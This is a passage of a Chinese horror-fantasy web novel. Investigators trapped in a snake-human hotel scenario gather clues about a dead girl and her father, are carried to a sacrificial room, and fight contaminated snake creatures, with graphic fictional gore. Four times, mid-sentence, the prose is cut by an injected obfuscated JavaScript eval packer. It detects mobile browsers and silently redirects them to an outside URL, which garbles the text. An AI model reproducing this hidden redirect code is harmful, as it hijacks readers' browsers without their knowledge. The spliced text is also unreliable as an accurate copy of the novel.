所幸,岳山原的目光没有在他身上停留太久,也没有再多发表什么意见,他指着兴瞳画在纸上的五角星和另一张疑似法阵的草稿:“想办法去''二楼''看一眼。” 米奇瞬间来了精神。 确如坊间传闻,他擅长猎杀怪物,只喜欢打架但完全不会动脑,属于脑子里也都是肌肉的类型。但由于和岳山原配合太默契,领悟彼此的意思往往只需要一个眼神,因此某些时候看起来也有几分聪明。 他兴奋道:“明白,等晚上他们过来。” …… 入夜。 米奇抱着他的球棍坐在门口,手里一把小刀片上下翻飞。 岳山原已经闭目养神2个多小时,如果不是偶尔皱紧又舒展的长眉,几乎要让人以为他已经睡着。 兴瞳是真的睡了,趴在床尾,脸下枕着几张岳山原写过的纸,上面的文字好像天书,他看了几眼,就只想睡觉。 为什么没人担心出不出的去? 为什么……连那个共感者都不担心? 胖子蜷缩在角落,只感觉悲从中来,完了,都完了,一切都完了…… “有人来了。”米奇突然说。 岳山原睁开眼,兴瞳翻了个身,裹住被子继续睡。 “先生,您醒了吗?我们准备了晚餐,有——” “醒了。”米奇打开门。 男主人明显一愣: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152824|138538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “先生,您怎么在这个房间。” 米奇:“我无聊啊,你们好几天不安排新活动。” 男主人说:“这个,蛇尾刚嫁接完成,您需要休息,明天开始会有一些小游戏……帮助各位适应。“ 米奇掏掏耳朵,刚要说话,岳山原突然从门缝中挤出来一只手:“等等,晚餐在哪,先拿进来。” “在这,玉米烤鸡、烤芦笋和小松饼。”男主人递上餐盘。 岳山原回头看了看状态不对的胖子和睡得不省人事的兴瞳:“麻烦多几份糖浆。” 男主人拎起装糖浆的小壶,在松饼上淋了一层又一层。 米奇给岳山原使眼色。 好了吗? 好了。 岳山原端着餐盘回房间,兴瞳又翻了个身。 门外,米奇叫住准备离开的男主人。 “您还有什么需要?” “没什么,”米奇总能完美领悟了岳山原的意思,并且比长相俊美的岳山原更适合扮演恶霸,他指着男主人的餐车,清清嗓子,“眼球。“ “什么?” “眼球?捣碎?眼球捣碎吃到肚子里?”米奇也不太确定关键词到底是什么,反正岳山原说的那句话里肯定有。 这种关键词可以引起情景主人的注意,又不至于惹来暴怒,再加上外来者天然就更加受到关注,因此尽管他们选择不是2号也不是13号,多说几次,把男主人说烦了,一般也会把他们拖到2楼顺便“解决”,这样,就可以顺利进入隐藏楼层了。 几秒钟后,男主人的面容果然开始扭曲,牙齿咬的咯吱作响,看向米奇的目光中不是愤怒,而是战栗和惊恐。 米奇轻声道:“眼球。” 男主人“哇”的一声,腮帮子鼓起来,像是要吐了似的。 米奇立刻回到房间。 这种事不能着急,明天再继续,一点一点刺激他才行。 “老大,我搞定了……你们?” “你的饭在那边。”岳山原看向窗台,人却没动。 ——他的尾巴被两条苍白的胳膊牢牢抱住,垫在某颗脑袋底下当枕头。 米奇叼起一块玉米:“要帮忙吗?” “不用。”岳山原很平静,只是共感的影响而已。 没什么大不了的。 11. 011 第二天,阳光如常洒落大地。 兴瞳终于从床上爬起来,一睁眼,其他三个人都还睡着。他怀疑岳山原只是浅眠,所以放弃了研究的想法。 走到窗边,他发现了一个小餐盘,餐盘里是昨天没吃完的松饼味糖浆——在岳山原的要求下,胖子留了一盘给兴瞳。 真难吃。 粘稠的胶状物裹住舌尖,滑向喉咙,像是脱落期的椿树蚕分泌的粘液。兴瞳挖了一大勺松饼,边嚼,边盯着窗外发呆。什么时候才能出去呢?算了,出不去也没关系,正好可以近距离观察岳山原,哦,还有那只“萨吉古蛇”的衍生污染物,带回去丰富一下藏品……不过,他要不要帮助这些人类?不,不行,他绝不能暴露自己。 那么,就等他们真正遇到危险再说吧…… “咚咚。” “先生们,太阳已经升起来了。” 又是他,讨厌的人类。兴瞳端着瓷盘,刚要开门,突然想到些什么,转而叫醒了岳山原。 “长官,有人敲门,”兴瞳低下头,“我不敢开。” 岳山原果然睡得不沉,刚被碰到就睁开眼睛,浓密的睫毛像两把小刷子,光影交错的瞬间,兴瞳决定不拔掉它们。 “到里面去。”男人说。 看见来应门的是岳山原,男主人表情微微一僵,像是想起了一些可怕的事。他下意识捂住自己的腹部,哑声道:“我们!咳,我们准备了一些小游戏,先生,请务必到楼下来参加。” “务必?”岳山原不太想折腾,73号公路旅馆是一个罕见的弱强制性情景,基本不会针对外来者发出必须指令,因此除了某些富有象征意义而不得不配合的的情节——比如蛇尾改造——其他活动当然能避免就避免。 男主人很为难:“先生,这也是我们服务的一部分。蛇尾是非常危险的东西,如果驾驭不了,后果会非常严重。前几天,您和您的爱人还没醒,就已经有很多客人适应不了蛇尾,被送去医院诊治了……” 医院会用带刺的铁担架么? 岳山原的目光在男主人身上巡视,似乎在评估他还有没有被提前试探的价值,好半天,他突然想起那个曾经没有救下的共感者,想起人的灵魂溃散时、地狱般的哀嚎和痛哭……他回头看了眼兴瞳,决定多一点线索,总不会是坏事。 “你的小游戏,最好不要太激烈。”岳山原说。 “不会的,”男主人忍着胃部的翻腾感,“客人们可以自己挑选。” …… 事实证明,蛇尾适应训练和蛇尾嫁接一样,都不是情景创造者主要关心的东西。与这两项活动相比,蛇尾款式介绍的过程显然更加详细。 甚至,男主人只是随便挑选了几间空屋子,然后让安妮拿出一些工具和卡片,分发给还没有被抬走的客人。 “人类是依靠双腿行走的低等动物,人蛇则是高贵的、有力的、可以轻易绞杀一只成年水牛的上等种族。弹跳、绞合、温度感知、光线感知、空气波动、鳞片操纵、疼痛忍耐,都是各位需要掌握的基本力量。” 在父亲的示意下,安妮翻动画册。 一只俊美的人蛇在房屋间跳跃,他的皮肤像蜜糖一样细腻,长尾挺拔有力,“咔哒”一声,它搅碎了一头狮子的脖颈,下一秒,它又躺倒在滚烫的水泥地面,鳞片随着温度升高变幻出炫彩。 男主人说:“女士先生们,请选择自己的工具,分散开进行训练吧。卡片上有工具的使用说明,还有配套的小游戏,当然如果您想自己设计,也完全没有问题。不过,请注意,在训练结束前,请不要进行剧烈活动。” 岳山原打开工具盒。 五根蜡烛,一支打火机,两捆跳绳,两把薄如蝉翼的刀片。 【组合适应训练1:力量与温度。请点燃蜡烛,将蜡油滴在靠近蛇尾尖端的每一块鳞片之上,如果出现轻微痛感,则测试通过,如果出现严重刺痛,则需要反复滴下蜡油,直到痛感降低至正常水平;请展开跳绳,控制蛇尾连续跳绳2000个则为测试通过,中途不能停顿,请注意,蛇尾折断风险极高,需在同伴陪同下进行;请取出刀片,依次测试鳞片缝隙宽度,如果不能正好插//入,请联系我们更换鳞片】 米奇:“刀片吧。” 胖子疯狂摇头,提议跳跳绳,就算尾巴折断了也没什么,反正,他也不会用。 岳山原没有发表意见。 他弯下腰,鼻尖凑近蜡烛的尖端嗅了嗅。 这里面……有一根“人鱼泪”。 小镇南部沼泽栖息着一种“安全”级别污染物,鱼石萤。这种污染物不具备攻击性,甚至不具备任何迷惑性,只是喜欢污染蜡状、胶状物,被它污染的蜡烛会更加容易融化,火焰温度也会降低,燃烧时分泌一种对昆虫有害对人类无害的浅香,但从外表看上去,却和普通蜡烛没有任何不同。 岳山原精准地挑出了那根蜡烛。 其他两个人都松了口气,兴瞳却预感不妙。 人鱼泪? 是的,他也听说过这个东西,他也知道,人鱼泪的蜡油在碰到昆虫的时候,会迸发出难以忍受的高温。 那么问题来了,他究竟算不算是一只“昆虫”。 理论上讲,他只是有一对形似蝴蝶的翅膀,且只在拟态期出现。然而实际上,兴瞳根本不知道自己是什么“物种”。 岳山原很快从安妮那里拿来蜡烛使用手册,在男主人和安妮的注视下,他们找了一个角落,各自将蛇尾铺展开,岳山原装模作样地点燃打火机,烧出一些蜡油,然后滴到了米奇的尾巴上。 米奇毫无感觉,但还是捏着嗓子叫了一声。 “疼吗。”岳山原问。 “特别疼,老大,你让我缓缓再继续吧。”米奇说。 岳山原点点头,又在胖子尾巴上滴了一下,后者有样学样,也趴在地上嗷嗷叫。 接着是岳山原自己。 然后轮到兴瞳。 他屏住呼吸,有点害怕,却没办法阻止男人倾斜的右手。 “啪嗒。” 一滴粘稠的蜡油,滴落到他的鳞片,温度灼热,触感紧绷,兴瞳疼得一个激灵,却不敢表现出来,远端的尾巴尖却不受他控制,冷不丁抽打了一下,正好落在岳山原脚边。 岳山原:“?” 他的目光充满了审视的意味,兴瞳的疼痛不像是装的,除非他可以在瞬间变出额头的冷汗。 米奇毫无察觉,接过蜡烛,又往自己尾巴上滴了滴,并再度发出虚假的哀嚎声。全部滴完一轮,蜡烛又回到岳山原手里,他询问兴瞳是否需要帮忙。 兴瞳:“我可以自己来。” 岳山原把蜡烛给他。 烫,像烧红的烙□□成一个细尖,在他的尾巴上扎了一下。兴瞳猛地抽了口气,蜡烛从手中掉落,大块大块的蜡油倾倒而下——岳山原伸手一接,顺便熄灭了火焰。 米奇说:“兴瞳装得真像。” 岳山原从旁边抽出一张纸巾,擦掉手上的液体,他没有抬头看兴瞳,但这一刻,兴瞳觉得自己从猎食者变成了猎物。 他怀疑我了吗?兴瞳甩了甩蛇尾。 然而岳山原并没有说什么,他随手把蜡烛扔给胖子,搭住米奇的肩膀,示意他看房间的另外一个角落:“你看那边。” “什么?那件外套?皮夹克?”米奇眯起眼。 “口袋有东西。”岳山原说。 皮质的黑色钱夹,看上去像是二十多年前流行的款式,内里有一层透明塑封夹层,里面似乎有一些文件,字迹斑驳。那是男主人的外套,一进门就挂在衣架上,岳山原佯装挑选工具,在房间内走来走去,终于抓住一个安妮和男主人都背过身的机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152825|138538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会,迅速掏走了钱夹。 “劳驾,盥洗室在什么方向?”他询问安妮。 “出门右手边,一直走到尽头就是。”安妮还是怯生生的,不太敢抬头看人。 岳山原朝米奇打了个手势,示意他们先自己滴蜡油玩一会儿,米奇和胖子都表示没问题,兴瞳想跟岳山原走,但他不太会使用这条蛇尾,好不容易直立起来,男人已经走的很远了。 “唔,你要去盥洗室吗?”米奇打了个哈欠,重新点燃蜡烛。 兴瞳摇摇头。 …… 盥洗室内灯光昏暗。 岳山原打开钱夹,抽出里面的文件单。 第一张,医院证明单。 拉里·布朗已于5月26日自枫糖医院领回三具遗体,安妮·布朗、夏洛特·布朗、约翰·布朗目前均不由本院负责保管,特此证明。 安妮已经死了。 岳山原继续往下看。 第二张,墓地交割流程。 夏洛特·布朗与约翰·布朗将于5月27日起入住枫糖西陵园。 第三张,没有名称,字迹很乱,或许是男主人手写的。 购买白蜡烛10支,左一、左十六、右七、右八更换; 蛇胆、蛇皮、金丝鼠、绿蜈蚣各两份; 午夜时分喂养开始,安妮应该入睡…… 指向男主人的证据越来越多了。 现在来看,安妮遭遇意外死亡,她的父亲利用污染物将其复活的可能性很大,然而这里面还有一些疑点。 为什么现实中旅馆的生意由安妮主导,情景中却不是? 为什么情景内外安妮的性格相差如此之大? 如果她的父亲是操作者,为什么会害怕某些意象? 还有那天在杂物间中一闪而过的黑影,究竟是什么…… 岳山原把文件单重新塞好,回到房间后,原样放回原处。 他只离开了十五分钟,米奇和胖子都没什么变化,有一下没一下的折腾那根“人鱼泪”。只有兴瞳,他的脸色比自己离开前要苍白一些,额头布满汗珠,仔细看,蛇尾还有些战栗。 岳山原在他面前坐下。 兴瞳低着头但竖起耳朵:“?” “蜡烛对你来说有温度?”一个疑问句,语气却几乎是肯定的。 “没有,”兴瞳目光躲闪,“我……不想被滴蜡油。” 岳山原沉默片刻,大概是误会了什么,没有再继续追问。 过了一会儿,陆续有客人表示饥饿,想要进食,男主人就让安妮带他们出去,岳山原获得了想要的线索,也不准备继续留在这,临走前,米奇又跑到男主人跟前,重复了几遍关键词。 “今晚应该就差不多了,”他拍了拍胖子和兴瞳的肩膀,笑了一下,“别害怕。” 经过昨晚加今天上午的修整,胖子的精神状态好了很多,兴瞳却不知道为什么,看上去更加虚弱,客人们陆续离开,他却坐在原地一动不动,直到岳山原朝他伸出一只手。 兴瞳睁大眼睛。 “上来。”岳山原说。 两秒钟后,兴瞳爬到他的背上,男人的背很宽,肩上的骨头却有些硌人。兴瞳搂紧他的脖子,随着男人起身,柔韧的长尾巴垂落地面。 男人拎住他的尾巴尖:“盘着。” 兴瞳努力了好几次,没力气,最后均以失败告终。 男人皱眉,让他不要再乱动,反手托住他的后腰,身上挂着他和他的尾巴,开始在地板上缓慢游走。 ——那条尾巴,无力地耷拉着,尖端比岳山原的要更细、更黑一些,摇晃间,不知不觉就缠上了另外一条,尖端勾连,像是两条真正的小蛇。 这不是我操纵的。 兴瞳想。 两条绳状物,晃久了,就是容易缠在一起。 12. 012 接下来一整天,他们没有再去参加任何“游戏”,男主人也并没有强迫。 为了准备晚上的行动,米奇给兴瞳和胖子测了SAN值,胖子还好,掉了8个点,兴瞳就不太正常,仍然还是86,一动没动。 米奇:“这不像共感者啊……” 兴瞳不知道自己的SAN是怎么计算出来的,总之能有一个,帮助他伪装人类,他就已经满足了。面对米奇的疑惑,他不敢多说什么,只能假装没听见。 岳山原却不肯放过他:“完全没掉?” 之前米奇在“域”中被蛇肠吞噬时还掉了1个点的SAN值,兴瞳作为他们当中最受情景关注的人,每天接受各方视线洗礼,SAN值竟然稳稳停在86不动?普通镇民要是有这种天赋,早就被档案馆收入编制,又怎么可能跟着普利安画画。 米奇朝岳山原使了个眼色,后者摇摇头,刚要说点什么,房门就被人敲响了。 是安妮:“先生们,请用晚饭。” 米奇拉开门,笑眯眯道:“今天是什么?” 安妮:“是我做的黑松露烤蔬菜奶油拌饭,您四位都在吗?我来帮忙搅拌一下。” “谢谢,亲爱的安妮,你真是太好了。”米奇说。 安妮眨了眨眼睛,灰白色的眼球幽幽转动两圈,米奇不知道她在看哪里,更无法从一片空白中看出她的想法。 “安妮,你一直和你爸爸住在这里吗?”米奇又问。 “不,我们之前在很远很远的地方开旅馆,后来妈妈去世了,爸爸就带我搬来枫糖镇。”安妮说。 很远很远的地方是什么地方? 兴瞳抱膝蜷缩在床上,耳朵悄悄竖起,期望米奇能够追问。 然而米奇并没有关注这一点,岳山原也没有。他继续说:“啊,真是太抱歉了,我是说,我的意思是……她是怎么去世的?发生了什么意外吗?” 安妮叹了口气,流下两行水泥色的眼泪:“是意外又不是意外,已经过去很久了……幸好还有爸爸,爸爸他一直在保护我们,他是世界上最勇敢的人,有他在,什么都不用担心。” 岳山原皱眉。 旅馆男主人怯懦、胆小,并不像安妮说的这样,况且,在“域”中时,旅馆的一切事务都是安妮打理的,为什么异化出情景之后,安妮却转而变成了“全心全意依赖着父亲”,什么事都不管、只做一些辅助工作。 当年到底发生了什么。 安妮和她的父亲,到底是哪一个? 安妮擦了擦眼泪:“抱歉先生们,我失态了,千万不要告诉爸爸,否则他该骂我了。” 怀着歉意,米奇安慰了她很久。人走以后,胖子表示他们太残忍,怎么能直接问人家妈妈的死因? 米奇无法理解:“你还想活着出去吗?” 胖子挠挠头:“安妮看着挺温柔的,不像是会作恶、或者有什么执念的人啊。倒是她那个老爹比较奇怪。” 岳山原没有说话。 …… 夜幕降临。 岳山原催促所有人上床睡觉,米奇和胖子也回到自己的房间,静候铁担架来把他们抬去二楼。只要知道二楼的祭祀场到底是在做些什么,或许就能知道情景真正的主人是谁。 兴瞳侧躺在岳山原身旁。 男人的呼吸沉稳有力,兴瞳知道他没睡着,但今晚所有人都要假装自己睡着了,谁都不准醒。 他闭上眼,过了一会儿又睁开,盯着男人的肩膀,想安妮白天说的“很远很远的地方”。 很远,是哪里?从他家到枫糖大学很远,骑自行车要半个小时;从他家到档案馆也很远,每次去上课,走路要20分钟;还有……没有了,除此之外,他离开家最远的距离,就是到路口的冰激凌车里,买一支椰子冰激凌。 不过,他太穷了,没有钱,很久才能吃上一次…… 兴瞳陷入了自己的思绪,没有注意到房门被人从外面打开。 一阵温和、甜腻的香味传来,浓郁的,像是躺进了一大片鸢尾花田。 很快,他开始感到困倦,隐约明白是安妮和她爸爸来抬人了。他没有反抗,顺着这股倦意,堕入安静无声的黑暗。 有人抄起他的尾巴和胳膊,紧接着他的背部触碰到一块冰凉的铁板,移动间,他撑不住睡了过去,再醒来时,整个人被绑在一块木架上,双手高高吊起。 再看周围,光线昏暗,没有任何家具或者装饰品,只有光秃秃四面墙壁,烧焦的墙纸和地板,地板上凌乱的煤灰线条,白色蜡烛的火焰细长蜿蜒。 不远处,岳山原、米奇和胖子全都和他同样的捆法,四个人分别占据了房间的四个角落,狰狞的铁制凹槽从他们的腕部、颈部和尾部动脉下经过,一直延伸到房间正中央,那里摆着一口巨大的锅,锅里滚水沸腾,似乎在煮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152826|138538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着什么东西。 兴瞳明白了。 污染物喜欢血嗣,不管操纵者想要达到什么目的,也都只有2号和13号人蛇才能够作为萨吉古蛇的献祭品。而他们,大概只能作为献祭品的食物。 “沙……沙沙……沙沙……” 兴瞳的位置靠近门口,身后传来奇怪的异响,或许是有人要进来了。 他并不感到慌张,也没什么害怕,甚至于,岳山原他们都还没醒,他连伪装都不想伪装,只安静地吊在那里,看着一只带着黑色胶皮手套的胳膊伸到他眼前,手中握着一把砍骨刀。 来人捂得严实,里三层外三层黑粗布包裹住身体,头颅包括眼睛也被一圈一圈的布条紧紧缠绕,单从形状上来说,看不出是安妮还是她的爸爸,这两人本来就差不多高。唯有一点,这东西身后有两节巨大的断骨凸起,下肢也扭曲得厉害,几乎不能称得上是人,应该是“它”。 “它”并没有在兴瞳附近停留,而是径直走向了胖子。 锋利的刀口在胖子脖颈处比了比,兴瞳花了几秒钟的时间思考,决定先观察一会;很快,“它”离开胖子,走向米奇,同样用刀比划了很久,但迟迟没有下手,兴瞳依然不出声;接下来,“它”又走向岳山原,扬起刀,明明是个比划的动作,靠近皮肤的时候,却完全没有收势—— 最后一秒钟,那刀刃堪堪擦着岳山原的脸颊过去,嵌进了他身后的墙壁;而男人依旧没醒,头颅低垂,两缕被削断的发丝飘向半空。 兴瞳惊出一身汗,手脚瞬间变得冰凉,他的标本—— 如果脸被砍坏了,要花多少功夫才能复原! “它”发出一阵喑哑的低笑,拔出刀,似乎还要再来一下。 第二次,那刀刚扬起来,一个柔软、阴沉的声音突然在“它”后方响起。 “可以先吃我吗。” 兴瞳忍受不了,他的标本,决不能有一点不完美的地方。 有人急不可耐地要被吃,“它”大概还是第一次听到这种要求,足足宕机了好一阵,才慢慢转过身,一步一步朝兴瞳靠近。 在“它”的身后,岳山原忽然睁开眼,无声地询问兴瞳在干什么。米奇也把眼皮掀开一条缝,神情十分复杂,觉得这弟弟怪可爱、怪惹人疼的。 只有胖子是真的还晕着。 “……” 人类。 兴瞳笑不出来。 13. 013 “它”捏住兴瞳的脖子,过了一会儿又捏了捏兴瞳的脸颊。 余光范围内,岳山原缓慢挪动手腕,捆缚他的绳子早已经解开,刚刚不过是在假装,他怎么也想不到,看似柔弱的青年竟然会这样。 兴瞳很淡定。 他曾经被一只过于喜爱他的污染物撕成了碎片,然而第二天,他又完好无损地苏醒在画室——枫糖大学顶楼画室——普利安老师让他完成这周的练习。接着,他又回到家中,之前收集过的标本都还在…… 他不会像人类一样“死”。 虽然疼,但也不过只是一瞬间的事。 然而,不管他本人的生死观是如何疯狂,岳山原却已经悄无声息地绕开绳索,拎起角落里一根木条,朝兴瞳打了个手势,似乎在让他不要挣动。 不! 别过来。 兴瞳立刻放弃“死也无所谓”的想法,他盯着眼前这只怪东西,从来没有使用的大脑飞速运转。 “不?不,不……”怪东西发出嗬嗬的笑声,冰冷的刀刃贴着兴瞳的表皮划动,从手腕,到小臂,到肩膀。“它”用厚重的胶皮手套拎起兴瞳的尾巴,左看右看,最后说:“丑陋……丑陋………” 兴瞳很着急,事实证明,一个只有标本的脑袋是想不出好办法的。 他余光看到岳山原已经扬起蛇尾,就仿佛看到了男人被砍成几瓣的样子—— “门要开了,”突然,兴瞳不受控制地说,下一秒,脑海中又浮现起一些莫名的画面,他闭上眼,口中喃喃,“古蛇的怒火燃烧大地,萨吉的子嗣生出利爪,一切都被烧尽了,一切……都被烧尽了。” 瞬时灵感,和老大一样。 米奇两眼放光,心想他果然没看错,“共感者”只要不疯都非常有潜力啊。 正好他们组缺个人,岳山原打架的时候都放不开手脚,这弟弟看着很灵光的样子,招进来负责脑力输出啊! 他朝岳山原努努嘴,后者摇头,无声无息地退回原处,重新把自己绑了起来。 另一边,兴瞳穷尽一切词汇,翻来覆去前前后后,反复描述着脑中的景象。 终于,他把那东西说害怕了,隔着几层黑布都能看出宛如实质的恐惧和惊疑。“它”冷不丁尖叫一声,把砍骨刀扔出门外,飞跑着从靠近窗户的冷柜里搬出一块又一块冷冻的鲜肉,疯狂把它们投入铁锅之中。 那股腥味,顺着铁质凹槽飘散而出,飘到四个人鼻尖底下,直接把胖子熏醒了。 “这、这……”胖子两只眼睛瞪得像铜铃,似乎嗷一嗓子就要喊出来,好在最后一刻想起岳山原的耳提面命,好歹忍了下来。 他发抖,兴瞳很同情地看着他。 人类真是脆弱的生物。 铁锅煮东西很快,没多久,几只手和半截被刮去鳞片的蛇尾就率先浮上来。“它”拿来一些瓶瓶罐罐,往锅里加入了一些香味奇特的药草,然后捞出肉块离开,不一会,隔壁房间传来牙齿撕扯肉和骨头的声音,还有“吱呀”和怪叫和鞭打声。 “去投喂祭品了。”米奇压低声音说。 兴瞳描述的情形很可能真的存在,以至于让“它”感觉如果不马上献祭,就会有不好的事情发生——甚至于,“它”连宰他们的时间都不愿意浪费,而是用了已经储备好的食物。 又过了大概二十分钟,“它”拖着两只昏迷的2号人蛇爬向走廊深处,岳山原和胖子正对房间的门,把这一幕看得清清楚楚。 “……去去去、去……它去……”胖子舌头打结。 “去献祭了。”岳山原说。 房间内很安静,依稀能听到一些微弱的哀嚎。 胖子闭上眼:“长官,我想晕着,我想晕着,你们把我打晕吧……” 胖子体重不轻,晕了以后万一有什么事,扛着他也不好行动。 然而岳山原并没有拒绝,似乎习以为常,他绕开绳索,来到胖子跟前,在他脖颈处伸手一按,胖子就如愿以偿地晕了过去。做完这一切,他又回到自己的地方,朝兴瞳说:“想晕的时候,告诉我。” 接下来几个小时,“它”完全忽略了兴瞳四人,偶尔进来也是煮食物,煮好就飞快拿出去喂给2号和13号人蛇,然后再把吃饱的祭品拖走献祭…… “它”祈祷的声音战栗且诚恳,然而兴瞳怀疑这是否真的有用,因为就在刚刚,他闻到一股奇怪的味道,和逐渐逼近的、难以忍受的高温。 “着火了。”岳山原倏地抬起头。 耳畔,古怪的声响沙沙蔓延,是鳞片,或者某种尖锐的物体与木质地板的摩擦声。听这声音,应该不是一只两只的数量,这该死的旅馆到底囤积了多少怪物?! 突然,兴瞳惊叫一声,躲开一只从脑后袭来的利爪,同一时刻,岳山原和米奇挣脱绳索,一个扑向胖子,一个扑向他。 利爪的所有者是一只被污染的人蛇,双手蜕化为爪,皮肤布满爬行动物的褶皱和盔甲似的鳞片,血红色的双眼不断往外淌血,那血粘稠,却像是怎么都流不干。四周火光冲天,却没有任何东西在燃烧,更多类似的怪物扑进房间内,争抢铁锅里还没捞尽的“食物”,“食物”不够,它们就把视线投向还活着的四人—— “原地别动!” 离兴瞳最近的怪物不足半米,垂涎的口水散发出腥臭,岳山原一棍横扫过来将它逼退,然后回身打爆了另外两只的脑袋,灵活的长尾锁住第四只怪物的脖颈往后一翻,顺势躲开了第五只怪物的袭击。 两秒钟的时间,兴瞳周围被清出一块空地。 岳山原解开绳索,用力握住他的手腕:“跟着我。” 男人手劲极大,兴瞳被握的生疼,然而他连一下都没有挣扎,学着男人的样子拼命摆动蛇尾,被他拉扯着奔逃。 真听话啊。 负责断后的米奇心想,他们组里就缺个听话的,三个杀胚,没意思。 兴瞳不知道自己已经获得了如此好评,他只是下意识配合,对于自己喜欢的标本,他总是有无穷耐心。 “老大!往什么方向走!”米奇扛着胖子,气喘吁吁。出去以后他要号召全体镇民减肥,给他们可怜的救援者减轻点负担。 岳山原在门口停顿一瞬,理智告诉他应该离开二楼,去楼梯间,回到安全区域;但灵感疯狂指引他向走廊深处行进。 去那个地方。 去人蛇献祭的地方。 他卷起长尾,下了狠劲甩开一只怪物,重若千钧的力道直接把对面一正排匍匐着的人蛇扫了个七零八落。兴瞳想,为什么他可以这样?没听说过人类可以这样…… 岳山原捏着他的手指更用力了一些:“往里走。” 米奇二话没说调转了方向,从断后改为开路。 岳山原把兴瞳拎到自己身前,推推他的后背,意思大概是让他加油努力,快点滑。 兴瞳实在不会用这根尾巴,飞天种和陆地种本来就有生殖隔离,他踉踉跄跄,听着岳山原和米奇不断暴力撕扯怪物的声音,几乎快把自己扭成一根麻花。 好几次,他的尾巴差点要绊倒岳山原,男人大概觉得他笨得厉害,连一根尾巴都不会用,等到身后的怪物少了一些,他就瞅准一个时机,捞起兴瞳,把他直接扛在自己肩上。 “长、长官。”兴瞳喘//息剧烈。 岳山原斜飞过来一个眼神,一手按住他,一手把木棍当铁棍使,四面扑来的蛇人怪连两人的一根头发丝都没捞着。 正当时,一只比普通人蛇大上好几倍的家伙从天花板一跃而下,岳山原迅速后退,奈何肩膀上还压着兴瞳的重量,整个人控制不住地后仰。 他掐住兴瞳的腰,手腕一翻,木棍斜插向后方,滑了大概能有两米的距离,稳住身形,那超级甲壳虫一样的蛇人怪正好冲到眼前,一时之间烟尘飞扬,腥臭弥漫,蛇人怪抬起烧焦轮胎似的爪子,狠狠朝岳山原拍下来。 岳山原岿然不动,眼看那爪子就要把他们两人排成肉泥的瞬间,他一跃而起,借着爪子的力道跃上蛇人怪的后脊,一尾巴抽在这玩意的脖颈上。 “轰”的一声,巨型蛇人怪半张脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152827|138538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砸进地板,断裂的脊柱不断流淌出黄色的粘液,上肢和尾巴一下一下的抽搐,血口里两排细密的牙齿,嘶吼间,竟然把自己的舌头咬成了好几段。 刚才交锋时,岳山原的右臂被它给抓了,留下一个深可见骨的伤口,落地的刹那,他略微有些脱力,没按住肩上的人。 在这之前,兴瞳始终维持着一个脸和尾巴朝下、屁股朝天的姿势,晃的眼冒金星,晃的七荤八素。 岳山原的肩膀像两块坚硬的铁板,简直要把他的肚皮都给顶穿。 这眼见着刚停稳半秒钟,他还没回过神,身下的肩膀就是一歪,他整个人不受控制地往侧边滑去,几乎就要滑到那一滩又黏又臭的怪物脊椎液之上—— 危急关头,兴瞳潜力爆发,蛇尾绕着岳山原的腰打了两个圈—— 那腰精悍强壮,十分好缠,然而就在他准备借力站稳的一刻,下面那该死不死的蛇怪突然又嘶吼一声,带刺的长尾垂死挣扎,扬起来狠狠怼了兴瞳一下! 这么一怼,被擦破点皮还是小事,关键是他因此没收住尾巴的力道,斜飞出去的瞬间,尾尖直接在男人的侧腰抽出一到半指宽、两指长的伤痕。 霎时,男人被抽中的皮肤渗出红血丝,以肉眼可见的速度肿成一条蜿蜒的小山脉。 这点伤对岳山原来说不算什么,然而落到兴瞳眼里可就完全不是那么回事。 他气得发抖。 这只怪物,这只怪物…… 滚了两圈之后,愤怒到头晕的青年正好落在这只巨型蛇人怪的尾巴中段,借助身体的遮掩,在男人看不见的角度,他从袖中抽出解剖刀,精准的剖开了某一块鳞片。 他解剖过近百只蛇种污染物,其中能被他看中留下、当作标本收藏的不过了了。 很多人类觉得不管污染物还是怪物,死就死了,反正没有灵魂,也没办法下地狱。但兴瞳知道,它们可以被惩罚,临死前可以承受巨大的痛苦,死后没办法被母种的力量回收,日复一日忍受折磨,永远、永远没有解脱之日…… 